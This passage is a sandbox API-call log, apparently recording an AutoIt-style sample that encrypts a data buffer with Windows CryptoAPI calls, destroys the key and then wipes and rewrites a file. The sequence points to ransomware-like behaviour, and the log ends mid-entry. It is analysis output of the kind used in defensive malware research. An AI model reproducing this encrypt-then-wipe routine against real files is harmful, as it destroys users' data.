CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0022.585] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.586] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.586] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0022.586] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0022.586] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0022.586] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0022.586] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0022.586] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.586] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0022.587] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.587] CryptGetKeyParam (in: hKey=0xe8f4062330, dwParam=0x7, pbData=0xe8f4064d00, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064d00*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0022.587] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0022.587] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0022.587] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.587] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.587] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.587] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.587] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.587] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.587] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0022.587] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.587] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0022.587] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0022.587] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.587] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.587] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0022.587] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0022.587] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0022.587] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.587] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.587] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.588] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.588] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.588] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.588] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0022.588] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.588] CryptEncrypt (in: hKey=0xe8f4062330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x136ed, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x136f0) returned 1 [0022.588] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.588] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.588] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.588] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.588] CharLowerBuffW (in: lpsz="byte[79601]", cchLength=0xb | out: lpsz="byte[79601]") returned 0xb [0022.588] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.590] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.590] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.590] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0022.591] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.592] CryptEncrypt (in: hKey=0xe8f4062330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f41faed0*, pdwDataLen=0xe8f3dfdf68*=0x136ed, dwBufLen=0x136f0 | out: pbData=0xe8f41faed0*, pdwDataLen=0xe8f3dfdf68*=0x136f0) returned 1 [0022.592] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.592] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.592] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.592] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.592] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.592] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.592] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0022.592] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.593] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0022.593] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0022.593] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0022.593] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.593] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0022.593] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0022.593] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.593] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.593] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.596] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.596] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.596] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.598] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.598] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.598] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0022.598] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0022.598] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.598] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0022.598] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.598] CryptDestroyKey (hKey=0xe8f4062330) returned 1 [0022.598] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0022.598] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0022.598] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0022.598] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0022.598] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0022.598] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0022.598] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0022.599] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0022.599] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0022.599] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0022.599] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0022.599] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0022.599] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0022.599] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0022.599] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.599] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0022.599] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.599] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0022.599] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.599] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.599] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.599] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0022.599] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0022.599] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.599] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.599] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0022.599] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0022.599] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0022.599] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.599] CryptReleaseContext (hProv=0xe8f40633e0, dwFlags=0x0) returned 1 [0022.599] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.599] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.599] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0022.599] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.599] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.599] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.601] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.601] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.603] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.603] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0022.603] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.603] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.603] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.603] CharLowerBuffW (in: lpsz="byte[79597]", cchLength=0xb | out: lpsz="byte[79597]") returned 0xb [0022.607] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.607] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0022.607] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.607] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0022.607] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.607] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.607] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.608] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0022.608] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.608] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.608] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.608] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.608] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.608] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.608] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.608] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.608] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.608] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.608] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.608] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.608] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.608] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.608] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.608] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.608] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0022.608] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.608] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.608] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.608] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0022.608] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: 